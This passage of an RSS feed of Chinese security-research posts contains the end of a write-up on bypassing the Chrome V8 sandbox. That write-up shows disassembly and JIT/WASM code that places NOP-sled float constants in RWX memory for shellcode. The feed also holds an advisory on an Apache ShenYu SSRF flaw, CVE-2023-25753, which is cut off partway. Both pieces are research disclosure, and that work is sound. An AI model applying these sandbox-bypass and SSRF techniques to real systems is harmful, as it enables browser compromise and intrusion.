class="code-snippet__type">PartitionAlloc</span> addr) then crash))</span></code><code><span class="code-snippet_outer">chrome+2D2030F - add rax,[chrome+<span class="code-snippet__type">DC12B70</span>] { (<span class="code-snippet__number">0</span>) } (rax+lengthOfParthtion)</span></code><code><span class="code-snippet_outer">chrome+2D20316 - cmp rax,r14</span></code><code><span class="code-snippet_outer">chrome+2D20319 - jbe chrome+2D20B8B <span class="code-snippet__type">INT3</span> (<span class="code-snippet__keyword">if</span> dest &gt; <span class="code-snippet__built_in">max</span>(<span class="code-snippet__type">PartitionAlloc</span> addr) then crash))</span></code></pre></section><p>细致研究后我初步得出结论：</p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">我并没有完整绕过PartitonAlloc Alloc，只是获得了一定内存范围内的任意读写。</span></p><p><strong>02 - 寻找新的攻击面</strong></p><p>在初步确定没有完全绕过后，我立刻通过邮件与主办方联系，申请稍后更新PPT。随后，无法入睡，我不停地尝试，直到凌晨3点，我认为可能发现了新的绕过方法。稍作休息，5点起床后，我继续晚上的绕过尝试。经过调试，最终确认彻底绕过。</p><p>如果我们想绕过V8的沙箱，我们最终需要实现完整地址劫持和稳定的shellcode地址跳转。也就是说，需要稳定的RWX/RX地址计算。上次，我们公开了WASM绕过最新版V8沙箱，使用了Function的原生指针劫持。然而，我们公开后，谷歌迅速将WASM中的函数参数分配放在了可读可写的内存中，导致的结果是我们不能把想要的shellcode放在WASM中。这里，我们首先需要一个指针劫持，这个不太难，我认为是谷歌疏忽了这个点，如下所示</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5555555555555556" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=cadb5e1c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0cpaHtjWGvYlxUlr7sUP2I0HeiamDQ2yYpU5BIYAiaHibSIa6BjtymqDXP5jibwhTia9zT83DvLXRcOfDw%2F640%3Fwx_fmt%3Dpng"/></p><p>只要是Chrome研究人员，在编写exploit时，都会从内存中定位这个指针，然后计算WASM的地址，接着像以前一样，将shellcode写入。但是，谷歌没有对这个Native指针进行封装。</p><p>仔细研究Manyuemo给出的JIT优化的shellcode后，我发现即便在最新版Chrome中，优化后的浮点数仍旧会被放在RWX的内存中。但是如何稳定计算这个地址是个问题。我没有去研究JIT后的地址计算源码，因为时间紧迫。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer">function <span class="code-snippet__function"><span class="code-snippet__title">fun</span><span class="code-snippet__params">()</span></span> {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// 1.123=3ff1f7ced916872b</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">return</span> [<span class="code-snippet__number">1.123</span>, <span class="code-snippet__number">1.134</span>, <span class="code-snippet__number">1.345</span>];</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">for</span> (let i = <span class="code-snippet__number">0</span>; i &lt; <span class="code-snippet__number">0x5000</span>; i++) {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__title">fun</span><span class="code-snippet__params">(<span class="code-snippet__number">0</span>)</span></span>;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__title">fun</span><span class="code-snippet__params">()</span></span>;</span></code></pre></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">55D9B81040B8</span> <span class="code-snippet__string">- mov eax,00000006 { 6 }</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">55D9B81040BD</span> <span class="code-snippet__string">- mov [rdi+03],eax</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">55D9B81040C0</span> <span class="code-snippet__string">- mov r10,3FF1F7CED916872B { 1.12 }</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">55D9B81040CA</span> <span class="code-snippet__string">- vmovq xmm0,r10</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">55D9B81040CF</span> <span class="code-snippet__string">- vmovsd [rdi+07],xmm0</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">55D9B81040D4</span> <span class="code-snippet__string">- mov r10,3FF224DD2F1A9FBE { 1.13 }</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">55D9B81040DE</span> <span class="code-snippet__string">- vmovq xmm0,r10</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">55D9B81040E3</span> <span class="code-snippet__string">- vmovsd [rdi+0F],xmm0</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">55D9B81040E8</span> <span class="code-snippet__string">- mov r10,3FF5851EB851EB85 { 0.00 }</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">55D9B81040F2</span> <span class="code-snippet__string">- vmovq xmm0,r10</span></span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p>这里我想提一句插曲是，其实过去很多时候在完成一个exploit后，有些点我也不清楚为什么会有效。因为老板急需成果，在现有条件和理论基础不够强的情况下，我能做的只能是不断尝试，寻找触发弹出计算器的方法。一般来说，一个exploit完成后，迅速向上级汇报，而其根本原因和底层原理则是日后才去研究的。我觉得过去几年的成果大多是不断尝试的结果。</p><p><strong>03 - WASM的JIT</strong></p><p>结合Manyuemo的JIT函数，我认为如果V8沙箱的绕过存在，很可能在其他一些边缘的地方。比如WASM、WebAudio、WebSQL等等，我们可以看到过去编写exploit容易的地方，谷歌一直在努力加强安全性。因此，我尝试了下WASM函数的JIT。果然，我发现WASM函数优化后也会将参数放到RWX的内存中。</p><p>wat代码</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer">(<span class="code-snippet__keyword">module</span></span></code><code><span class="code-snippet_outer">  (func (<span class="code-snippet__keyword">export</span> <span class="code-snippet__string">&#34;main&#34;</span>) (result f64)</span></code><code><span class="code-snippet_outer">    ;; <span class="code-snippet__number">-6.654614018578406e+60</span>=CC90909090909090</span></code><code><span class="code-snippet_outer">    f64.<span class="code-snippet__keyword">const</span> <span class="code-snippet__number">-6.654614018578406e+60</span></span></code><code><span class="code-snippet_outer">    ;; <span class="code-snippet__number">1.124</span>=<span class="code-snippet__number">3f</span>f1fbe76c8b4396</span></code><code><span class="code-snippet_outer">    f64.<span class="code-snippet__keyword">const</span> <span class="code-snippet__number">1.124</span></span></code><code><span class="code-snippet_outer">    ;; <span class="code-snippet__number">1.125</span>=<span class="code-snippet__number">3f</span>f2000000000000</span></code><code><span class="code-snippet_outer">    f64.<span class="code-snippet__keyword">const</span> <span class="code-snippet__number">1.125</span></span></code><code><span class="code-snippet_outer">    ;; <span class="code-snippet__number">1.126</span>=<span class="code-snippet__number">3f</span>f204189374bc6a</span></code><code><span class="code-snippet_outer">    f64.<span class="code-snippet__keyword">const</span> <span class="code-snippet__number">1.126</span></span></code><code><span class="code-snippet_outer">    drop</span></code><code><span class="code-snippet_outer">    drop</span></code><code><span class="code-snippet_outer">    drop</span></code><code><span class="code-snippet_outer">))</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">var</span> wasmCode = <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Uint8Array</span>([...wasm..binary…]);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">var</span> wasmModule = <span class="code-snippet__keyword">new</span> WebAssembly.Module(wasmCode);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">var</span> wasmInstance = <span class="code-snippet__keyword">new</span> WebAssembly.Instance(wasmModule);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">var</span> f = wasmInstance.exports.main;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">let</span> i = <span class="code-snippet__number">0</span>; i &lt; <span class="code-snippet__number">0x10000</span>; i++) {</span></code><code><span class="code-snippet_outer">f();</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer">%DebugPrint(wasmInstance);</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p><span style="">javascript测试代码</span></p><p><span style="">生成的代码如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">355CEAE43715</span> <span class="code-snippet__string">- jbe 355CEAE43771</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">355CEAE4371B</span> <span class="code-snippet__string">- mov r10,CC90909090909090 { -1869574000 }</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">355CEAE43725</span> <span class="code-snippet__string">- vmovq xmm0,r10</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">355CEAE4372A</span> <span class="code-snippet__string">- mov r10,3FF1FBE76C8B4396 { 1.12 }</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">355CEAE43734</span> <span class="code-snippet__string">- vmovq xmm1,r10</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">355CEAE43739</span> <span class="code-snippet__string">- mov r10,3FF2000000000000 { 1.13 }</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">355CEAE43743</span> <span class="code-snippet__string">- vmovq xmm2,r10</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">355CEAE43748</span> <span class="code-snippet__string">- mov r10,3FF204189374BC6A { 1.13 }</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">355CEAE43752</span> <span class="code-snippet__string">- vmovq xmm3,r10</span></span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p><strong>04 - 演示</strong><span style=""></span></p><section><video controls="" poster="https://wechat2rss.xlab.app/img-proxy/?k=0776e1e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FvlekRjgqic0cpaHtjWGvYlxUlr7sUP2I0UdRMiar1ASwmyKy3PB5pkibTC2ewfpMkbgYrIuiagJ6IcjdZ2Dm8wv4PQ%2F0%3Fwx_fmt%3Djpeg" src="https://wechat2rss.xlab.app/video-proxy/?k=099ff650&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MDcxNTc2NA%3D%3D%26mid%3D2247486142%26idx%3D1%26sn%3D7cb205bc89a91b0dd118fd63ea702336%26subscene%3D0&amp;v=wxv_3177584351669420034"></video></section><p><strong><span style="">05 - 总结</span></strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;"></span></p><p><span style="">在兼顾JIT性能的同时，类似于之前的WASM绕过，我们不得不考虑将浮点数等比较长的可预测常量属性设置为R/RW，或者同时修复它们的可预测地址方法。否则，攻击者很容易获得稳定的shellcode执行。</span></p><p><strong><span style="">06 - 参考</span></strong></p><p><span style=""><a href="https://blog.noah.360.net/chromium_v8_remote_code_execution_vulnerability_analysis/" target="_blank">https://blog.noah.360.net/chromium_v8_remote_code_execution_vulnerability_analysis/</a><br style="box-sizing: inherit;color: rgb(36, 36, 36);font-family: source-serif-pro, Georgia, Cambria, &#34;Times New Roman&#34;, Times, serif;font-size: 20px;letter-spacing: -0.06px;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);"/><a href="https://medium.com/@numencyberlabs/use-native-pointer-of-function-to-bypass-the-latest-chrome-v8-sandbox-exp-of-issue1378239-251d9c5b0d14" target="_blank">https://medium.com/@numencyberlabs/use-native-pointer-of-function-to-bypass-the-latest-chrome-v8-sandbox-exp-of-issue1378239-251d9c5b0d14</a><br style="box-sizing: inherit;color: rgb(36, 36, 36);font-family: source-serif-pro, Georgia, Cambria, &#34;Times New Roman&#34;, Times, serif;font-size: 20px;letter-spacing: -0.06px;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);"/><a href="https://medium.com/numen-cyber-labs/from-leaking-thehole-to-chrome-renderer-rce-183dcb6f3078" target="_blank">https://medium.com/numen-cyber-labs/from-leaking-thehole-to-chrome-renderer-rce-183dcb6f3078</a><br style="box-sizing: inherit;color: rgb(36, 36, 36);font-family: source-serif-pro, Georgia, Cambria, &#34;Times New Roman&#34;, Times, serif;font-size: 20px;letter-spacing: -0.06px;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);"/><a href="https://medium.com/numen-cyber-labs/analysis-and-summary-of-tcp-ip-protocol-remote-code-execution-vulnerability-cve-2022-34718-8fcc28538acf" target="_blank">https://medium.com/numen-cyber-labs/analysis-and-summary-of-tcp-ip-protocol-remote-code-execution-vulnerability-cve-2022-34718-8fcc28538acf</a><br style="box-sizing: inherit;color: rgb(36, 36, 36);font-family: source-serif-pro, Georgia, Cambria, &#34;Times New Roman&#34;, Times, serif;font-size: 20px;letter-spacing: -0.06px;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);"/><a href="https://bugs.chromium.org/p/chromium/issues/detail?id=1452137" target="_blank">https://bugs.chromium.org/p/chromium/issues/detail?id=1452137</a></span></p><p><br/></p><section style="margin: 8px auto 16px;outline: 0px;letter-spacing: 0.544px;"><section style="margin-bottom: -29px;outline: 0px;display: flex;justify-content: flex-end;"><section style="outline: 0px;width: 25px;height: 0px;overflow: hidden;"><br style="outline: 0px;"/></section></section></section><section style="margin-right: 10px;margin-bottom: 0px;margin-left: 10px;outline: 0px;letter-spacing: 0.544px;"><section style="margin-top: 8px;margin-bottom: 16px;outline: 0px;width: 657px;border-bottom: 1px solid rgb(255, 216, 68);height: 1px;overflow: hidden;"><br style="outline: 0px;"/></section><section data-autoskip="1" style="padding: 10px 15px;outline: 0px;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(71, 71, 71);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;"><section style="margin: 8px 8px 16px;outline: 0px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="outline: 0px;font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"></span></section><section data-tools="135编辑器" data-id="117004" style="outline: 0px;"><section data-role="outer" label="edit by 135editor" style="outline: 0px;"><section style="margin-top: 8px;margin-bottom: 16px;outline: 0px;"><section style="margin-top: 20px;margin-bottom: 20px;margin-left: 10px;outline: 0px;display: flex;justify-content: flex-start;align-items: center;"><section style="outline: 0px;display: flex;align-items: center;"><section style="outline: 0px;display: flex;align-items: center;"><section style="outline: 0px;flex-shrink: 0;"><section style="outline: 0px;width: 4px;height: 20px;background-color: rgb(238, 108, 98);border-radius: 15px;overflow: hidden;"><br style="outline: 0px;"/></section></section></section><section style="padding-right: 7px;padding-left: 7px;outline: 0px;font-size: 16px;color: rgb(51, 51, 51);text-align: center;"><strong data-brushtype="text" style="outline: 0px;">关于 Numen Cyber</strong><strong data-brushtype="text" style="outline: 0px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></strong></section></section></section></section></section></section></section></section><p style="outline: 0px;letter-spacing: 0.544px;"><span style="outline: 0px;color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">Numen Cyber 是链上威胁检测与防御的先驱，团队成员拥有在亚马逊、华为、百度、奇虎360等众多知名大厂与 OKlink，知道创宇，成都链安等知名 Web3 主体安全岗位从业经历。</span></p><p style="outline: 0px;letter-spacing: 0.544px;"><span style="outline: 0px;color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">拥有 Web2+Web3 多重安全技能储备的 Numen Cyber 旗下拥有 ImmunX 和 Leukocyte 两款安全产品，分别可在应用层和物理层为 Web3 项目提供保护。</span><span style="outline: 0px;color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">其中 ImmunX 包含安全策略开放市场和合约防火墙等独创功能，可以为 Web3 生态提供一站式全方位的保护；</span><span style="outline: 0px;color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">Leukocyte 则是保护服务器安全，实时检测黑客针对服务器的各种攻击并自动阻断、报警。</span></p><p style="outline: 0px;letter-spacing: 0.544px;"><span style="outline: 0px;color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">目前 Numen Cyber 的合作伙伴包括不限于 Binance，Cobo，Suiet 等，也包括中国移动、中国电信、中国联通，以及阿里云、腾讯、华为、亚马逊、微软等。</span></p><p style="outline: 0px;"><br style="outline: 0px;"/></p><section data-role="outer" label="edit by 135editor" style="margin-bottom: 0px;outline: 0px;letter-spacing: 0.544px;"><section data-tools="135编辑器" data-id="122336" style="outline: 0px;"><section style="margin-right: 10px;margin-left: 10px;outline: 0px;"><section style="margin-top: 8px;margin-bottom: 16px;outline: 0px;width: 657px;border-top: 1px solid rgb(255, 216, 68);height: 1px;overflow: hidden;"><br style="outline: 0px;"/></section></section></section><section data-role="paragraph" style="outline: 0px;"><section style="margin-top: 8px;margin-bottom: 16px;outline: 0px;"><br style="outline: 0px;"/></section></section></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Numen 官网</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;">ht</span><span style="outline: 0px;font-style: italic;letter-spacing: 0.544px;">tps://numencyber.com/ </span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">GitHub</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://github.com/NumenCyber" target="_blank">https://github.com/NumenCyber</a></span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Twitter</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://twitter.com/@numencyber" target="_blank">https://twitter.com/@numencyber</a></span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Medium</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://medium.com/@numencyberlabs" target="_blank">https://medium.com/@numencyberlabs</a></span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">LinkedIn</span></section><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://www.linkedin.com/company/numencyber/" target="_blank">https://www.linkedin.com/company/numencyber/</a></span></section><p style="outline: 0px;"><br style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"/></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486142">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6c1ef9cb&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MDcxNTc2NA%3D%3D%26mid%3D2247486142%26idx%3D1%26sn%3D7cb205bc89a91b0dd118fd63ea702336%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 03 Nov 2023 14:47:00 +0800</pubDate>
    </item>
    <item>
      <title>发现了Apache ShenYu 的一个SSRF漏洞（CVE-2023-25753）</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MDcxNTc2NA==&amp;mid=2247486128&amp;idx=1&amp;sn=4da813a5c43c28e2c00768f681cb2965</link>
      <description>前言Apache ShenYu 是一个 Java 原生 API 网关，用于服务代理、协议转换和 API 治理</description>
      <content:encoded><![CDATA[<p>
原创 <span>Numen cyber labs</span> <span>2023-10-27 15:47</span> <span style="display: inline-block;">新加坡</span>
</p>

<p>前言Apache ShenYu 是一个 Java 原生 API 网关，用于服务代理、协议转换和 API 治理</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=14baefc6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FvlekRjgqic0fzeUC4J15riadZRU3qJFlEU0licjdlOVbSLREVpPibKkmO8HNLWZ707BQWibVcMjvQdEOASGusJvCnHA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p cid="n2" mdtype="paragraph"><br/></p><p cid="n2" mdtype="paragraph"><span style=";"><strong style=";"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.1574074074074074" data-s="300,640" style="letter-spacing: 0.578px;text-align: center;text-wrap: wrap;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4f9b487a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0fzeUC4J15riadZRU3qJFlEUgsVUqZLVIYxt4wk1E7fVl5hh1vZ6xKficbS3xPHsUdVv2exrTwia0Kibw%2F640%3Fwx_fmt%3Dpng"/></strong></span></p><p cid="n2" mdtype="paragraph"><span style=";"><strong style=";">前言</strong></span></p><p cid="n3" mdtype="paragraph"><span style="font-size: 17px;">Apache ShenYu 是一个 Java 原生 API 网关，用于服务代理、协议转换和 API 治理。</span></p><p cid="n4" mdtype="paragraph"><span style=";"><strong style=";">描述</strong></span></p><p cid="n5" mdtype="paragraph"><span style=";">Numen安全实验室漏洞研究员在Apache ShenYu&lt; 2.6版本发现了一个SSRF漏洞。</span></p><p cid="n5" mdtype="paragraph"><span style=";"></span></p><p cid="n6" mdtype="paragraph"><span style=";"><strong style=";">CVE编号</strong></span></p><p cid="n7" mdtype="paragraph"><span style=";">CVE-2023-25753</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.3314711359404097" data-s="300,640" style="" data-type="png" data-w="537" src="https://wechat2rss.xlab.app/img-proxy/?k=bf51f9a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0fzeUC4J15riadZRU3qJFlEU47oC6EDpRmqDvwicV4koHawKKria4l8nlic1jnZiaOrQyZI6tMtPiaUCqicw%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n10" mdtype="paragraph"><span style=";"><strong style=";">影响版本</strong></span></p><p cid="n11" mdtype="paragraph"><span style=";">&lt; 2.6</span></p><p cid="n12" mdtype="paragraph"><span style=";"><strong style=";">分析</strong></span></p><p cid="n13" mdtype="paragraph" style="text-align: left;"><span style=";">org.apache.shenyu.admin.controller.SandboxController#proxyGateway接收proxyGatewayDTO，调用requestProxyGateway方法</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7220172201722017" data-s="300,640" style="" data-type="png" data-w="813" src="https://wechat2rss.xlab.app/img-proxy/?k=4108b7a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0fzeUC4J15riadZRU3qJFlEUiaIbfiafLiarzvKqiaW94RzFGUkxMVL6DK53pibWvsSyHnQkkOc27ZA9qbg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style=";">ProxyGatewayDTO有requestUrl、cookie、headers、httpMethod参数</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.9682017543859649" data-s="300,640" style="" data-type="png" data-w="912" src="https://wechat2rss.xlab.app/img-proxy/?k=983c9f28&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0fzeUC4J15riadZRU3qJFlEUvBXACYPDibbxoO9RQLfF6bUeH3rtKmQa8KVbdwNtHrGTbrxnNHSo5Wg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style=";">requestProxyGateway方法获取ProxyGatewayDTO中的参数调用org.apache.shenyu.admin.utils.HttpUtils#requestCall发起请求</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.9117647058823529" data-s="300,640" style="" data-type="png" data-w="952" src="https://wechat2rss.xlab.app/img-proxy/?k=08740bad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0fzeUC4J15riadZRU3qJFlEUj5822BVk2lpVrVm4nIbRxYNawDZEXic1Gt8jNAJ7b6b9sLh25Zz9BmQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style=";">requestCall用来构造http请求</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6352549889135255" data-s="300,640" style="" data-type="png" data-w="902" src="https://wechat2rss.xlab.app/img-proxy/?k=ecbba9d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0fzeUC4J15riadZRU3qJFlEU9NnWGVWqhWtDu2EUiaGslxLQnoT6R4R6tYiaP6AibRBUA2bx0C7TOvYDA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6303099885189437" data-s="300,640" style="" data-type="png" data-w="871" src="https://wechat2rss.xlab.app/img-proxy/?k=47b74e9a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0fzeUC4J15riadZRU3qJFlEUeKN0KSluyU3OgxuC2S1VmVibkm8LsS5Jj1aAbWlumM30eZtcabZoq3g%2F640%3Fwx_fmt%3Dpng"/><span style=";">从上面的流程可以看到这个请求没有任何限制，我们可以requestProxyGateway利</span><span style=";">用发送任意http请求，因为URI、HTTP请求方法、header都是可控的。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5055555555555555" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9425d232&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0fzeUC4J15riadZRU3qJFlEU4ia2T3fkiaEFUpDCLdCwDKQWvqRUz0ia1S19ia3FlqsnB23DbTW3ySRBeQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n24" mdtype="paragraph"><span style=";"><strong style=";">攻击面</strong></span></p><p cid="n25" mdtype="paragraph"><span style=";">除了SSRF的常规利用方法，还可以攻击本地的9195端口的shenyu-bootstrap服务</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5501551189245087" data-s="300,640" style="" data-type="png" data-w="967" 